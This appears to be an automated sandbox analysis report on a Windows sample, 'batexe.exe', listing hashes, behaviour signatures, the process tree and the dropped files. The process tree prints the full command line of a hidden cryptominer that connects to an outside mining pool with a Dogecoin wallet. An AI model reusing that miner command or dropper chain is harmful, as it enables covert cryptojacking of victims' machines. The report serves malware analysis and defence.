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Analysis

  • max time kernel
    298s
  • max time network
    303s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    23/02/2024, 06:02

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5088
    • C:\Users\Admin\AppData\Local\Temp\9B17.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9B17.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9B17.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2996
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A1CE.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5816
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9B17.tmp\b2e.exe

    Filesize

    6.0MB

    MD5

    e74800cc7ac1c8cd226ac0d2f9265f4f

    SHA1

    04ff71a9ec13cca7403c667717d50b09aba72975

    SHA256

    bc5af6b83f6a4c9e3297e0f389fc73fd3c073b2346a4a2baadf15311e69714e6

    SHA512

    63c91452844800e525d9a5abee57f1048bbf3b18e8ceb01cc4e2c0c877a5389bddd0889dd2402948e65c8f8dfd035dc277d6b6dd4e2766cc3368d66ad45d3706

  • C:\Users\Admin\AppData\Local\Temp\9B17.tmp\b2e.exe

    Filesize

    3.8MB

    MD5

    8782954c8b6aac082ecc8b96cb0fa380

    SHA1

    2fe2dfb712df083d04ef662151f7a323078cdbaf

    SHA256

    472a521487323090d233b2931089d485be932bb7b1df7cc096c8b498ff04a73b

    SHA512

    d8a809cff6a7fa2b0762724eabda592db73e20311c184937574671be8cdff033ed4b9886992aa225aa923449c5a5a7949bcd5194ac26972001b95349506beb31

  • C:\Users\Admin\AppData\Local\Temp\9B17.tmp\b2e.exe

    Filesize

    8.4MB

    MD5

    ba4fbe613508bfe8ac6238466ba6b2c9

    SHA1

    877f1b18a118f5d5c6450c721e9843c4ae5fea31

    SHA256

    f6fdb67a67aafccbeeb8742f0c7e8cf003662871a07d7fd982bdf82a045eba03

    SHA512

    323bc06a632d2bd64214907360208c903760dd6924821ffc434385d667cd1618dd75343d44335d66cdf9ebd5f115c2350a0b2e01412d35ef5355a66b1b4ec37d

  • C:\Users\Admin\AppData\Local\Temp\A1CE.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    807KB

    MD5

    ed4c24855bf149d4f3f11eccc2d31484

    SHA1

    21c86aa9d43cae6bb0d6ef6ea2973019ab1e452a

    SHA256

    ee81e8f7b521d58369ba72995eba181fd5dfbfa23733d8e9c3cdbdb0c7185a30

    SHA512

    9f2c8c5c32f60017c51d82d05f58c019eeba7e026bc296ab99c4cc7e2a3620e85fe58efce225db5ccddc6052f0f626fd7b8b693007a3aa271370d07c8764fd24

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    576KB

    MD5

    6e18fc4eda8ed0e6aa6ed56f84803ab3

    SHA1

    e4a0a4432fcf3184baae1b01a8cb771ed580dbe2

    SHA256

    f51cf1f35d722b4af4bde30de5008d67d7256d271953eeb2ff63780978f4a53f

    SHA512

    25f97a3a07fd0aed4a5e6bd58e4cc3ebc2c56c0a314103536e9342ee10aa3c01baa24b459fb58d7154808594203e2b4fddc23f6c424182e2e8bb3a978b4dc256

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    512KB

    MD5

    a5993c0dd7587f1716037dcfe1f63091

    SHA1

    9a4d23ce36f5fc5791692b47d977c0bf92842879

    SHA256

    568cec1e1bdccf401232a78c8ecf2081fdaea221f0a7c777a69ec61307cca3e3

    SHA512

    c5457590162dc1a0fd6b179ba94f19e6265e2ca226ea1ec553358f568690bbc158335ee92c297ce699b2928d44702733269f82640d86bb499c1981a5903afc12

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    448KB

    MD5

    19a61444b6e2d01755ede80960bca19c

    SHA1

    e0c7222784d3e2b3329ec3280648b17fd60ef209

    SHA256

    13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

    SHA512

    bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    512KB

    MD5

    6162b21c54b88c5c990e82aee951ebb4

    SHA1

    477384ab8ebe5f5a5d5a91603736d9ef53c12fd4

    SHA256

    462eb68967c7205145d0b92e4f3b69297f616187b07a189178f35f288063aff4

    SHA512

    6264ee49c4b8a6eaa69241e10ff9ab39445f85a57b756b8bc0530b45d77827d05e669dc06b689d4693db34e4161ef11b2cfe6f1954b0b90bcd434e81a938a40d

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    384KB

    MD5

    b91f7bb5508b343188ec32dcc7880611

    SHA1

    fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f

    SHA256

    47881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b

    SHA512

    a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    448KB

    MD5

    ca123cec7f705c0af114e462349dc686

    SHA1

    75f90b4d95f6774b2f66e4ba790755ef118ab222

    SHA256

    7f141cdc0be9c965e21310bcfb0484b20d31ffd8a6a970f8b5a53c0e8974798a

    SHA512

    650125faa9ae6733f1118caf3101ca6850473f78f9bfc3a87e908eac1c69935e3bc269ffb5de4dd6e867429c1af35c7f3b9e62eb698fa7c9695d68e7115f3f1c

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    384KB

    MD5

    4cb3a8d3af58faf78da4dd33a03029db

    SHA1

    5356e4fb04a7047f6fc82a4e071e4803f97a0f3d

    SHA256

    86df790940bd442466ea58a434a31aaaadd1d23a9e9bf5e6fe625ff49049d620

    SHA512

    244237f4a13a7666e9f9592451dbb8bb18ca1f828d66f97e2890fa8f6be690d8890848102a8be253542c9f4b154d9f0e1aeeee5a867c866b78b64f9949f48c89

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    448KB

    MD5

    9d1a04f05f75671a5a3ffeb995176c52

    SHA1

    a45018bb6a5dd52b310c1eb77262354365925a76

    SHA256

    c777e9d786f5d1d13f78a925453804bf53ee430a38f893f115c2d1ac0f2f07ff

    SHA512

    d19ea63c26c1d41edd5947d0c5ae70e2461c876563c2baeb1fd4a3986254f7919f8d4c32a9d6b9f4c51c4d5a23ffa90a2011d293a106a0a8813295b2bee06e1f

  • memory/2996-9-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2996-58-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5088-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/5812-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/5812-45-0x0000000050760000-0x00000000507F8000-memory.dmp

    Filesize

    608KB

  • memory/5812-46-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/5812-47-0x0000000001080000-0x0000000002935000-memory.dmp

    Filesize

    24.7MB

  • memory/5812-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-53-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5812-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB